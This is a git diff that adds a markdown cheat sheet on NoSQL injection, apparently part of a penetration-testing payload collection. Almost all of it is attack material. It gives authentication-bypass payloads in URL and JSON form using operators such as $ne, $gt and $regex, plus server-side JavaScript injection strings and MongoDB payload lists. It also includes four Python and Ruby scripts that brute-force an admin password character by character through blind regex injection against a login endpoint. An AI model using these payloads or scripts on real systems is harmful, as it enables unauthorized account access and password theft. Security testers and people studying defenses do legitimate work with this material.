diff --git a/NoSQL Injection.md b/NoSQL Injection.md new file mode 100644 index 0000000..7c9c0d5 --- /dev/null +++ b/NoSQL Injection.md @@ -0,0 +1,183 @@ +# NoSQL Injection +## Exploit +### Authentication Bypass +Basic authentication bypass using not equal ($ne) or greater ($gt) +```javascript +in DATA +username[$ne]=toto&password[$ne]=toto +login[$regex]=a.*&pass[$ne]=lol +login[$gt]=admin&login[$lt]=test&pass[$ne]=1 +login[$nin][]=admin&login[$nin][]=test&pass[$ne]=toto + +in JSON +{"username": {"$ne": null}, "password": {"$ne": null}} +{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}} +{"username": {"$gt": undefined}, "password": {"$gt": undefined}} +{"username": {"$gt":""}, "password": {"$gt":""}} + +``` +### Extract length information +```javascript +username[$ne]=toto&password[$regex]=.{1} +username[$ne]=toto&password[$regex]=.{3} + +``` +### Extract data information +```javascript +in URL +username[$ne]=toto&password[$regex]=m.{2} +username[$ne]=toto&password[$regex]=md.{1} +username[$ne]=toto&password[$regex]=mdp + +username[$ne]=toto&password[$regex]=m.* +username[$ne]=toto&password[$regex]=md.* + +in JSON +{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }} +{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }} +{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }} + +``` +Extract data with "in" +```javascript +{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}} + +``` +### SSJI +```javascript +';return 'a'=='a' && ''==' +";return 'a'=='a' && ''==' +0;return true + +``` + +## Blind NoSQL +### POST with JSON body +python script +```python +import requests +import urllib3 +import string +import urllib +urllib3.disable_warnings() + +username="admin" +password="" +u="http://example.org/login" +headers={'content-type': 'application/json'} + +while True: + for c in string.printable: + if c not in ['*','+','.','?','|']: + payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c) + r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False) + if 'OK' in r.text or r.status_code == 302: + print("Found one more char : %s" % (password+c)) + password += c + + +``` +### POST with urlencoded body +python script +```python +import requests +import urllib3 +import string +import urllib +urllib3.disable_warnings() + +username="admin" +password="" +u="http://example.org/login" +headers={'content-type': 'application/x-www-form-urlencoded'} + +while True: + for c in string.printable: + if c not in ['*','+','.','?','|','&','$']: + payload='user=%s&pass[$regex]=^%s&remember=on' % (username, password + c) + r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False) + if r.status_code == 302 and r.headers['Location'] == '/dashboard': + print("Found one more char : %s" % (password+c)) + password += c + + +``` +### GET +python script +```python +import requests +import urllib3 +import string +import urllib +urllib3.disable_warnings() + +username='admin' +password='' +u='http://example.org/login' + +while True: + for c in string.printable: + if c not in ['*','+','.','?','|', '#', '&', '$']: + payload=f"?username={username}&password[$regex]=^{password + c}" + r = requests.get(u + payload) + if 'Yeah' in r.text: + print(f"Found one more char : {password+c}") + password += c + + +``` +ruby script +```ruby +require 'httpx' + +username = 'admin' +password = '' +url = 'http://example.org/login' +# CHARSET = (?!..?~).to_a # all ASCII printable characters +CHARSET = [*'0'..'9',*'a'..'z','-'] # alphanumeric + '-' +GET_EXCLUDE = ['*','+','.','?','|', '#', '&', '$'] +session = HTTPX.plugin(:persistent) + +while true + CHARSET.each do |c| + unless GET_EXCLUDE.include?(c) + payload = "?username=#{username}&password[$regex]=^#{password + c}" + res = session.get(url + payload) + if res.body.to_s.match?('Yeah') + puts "Found one more char : #{password + c}" + password += c + end + end + end +end + +``` +## MongoDB Payloads +```html +true, $where: '1 == 1' +, $where: '1 == 1' +$where: '1 == 1' +', $where: '1 == 1' +1, $where: '1 == 1' +{ $ne: 1 } +', $or: [ {}, { 'a':'a +' } ], $comment:'successful MongoDB injection' +db.injection.insert({success:1}); +db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1 +|| 1==1 +' && this.password.match(/.*/)//+%00 +' && this.passwordzz.match(/.*/)//+%00 +'%20%26%26%20this.password.match(/.*/)//+%00 +'%20%26%26%20this.passwordzz.match(/.*/)//+%00 +{$gt: ''} +[$ne]=1 +';return 'a'=='a' && ''==' +";return(true);var xyz='a +0;return true + +``` + + + + +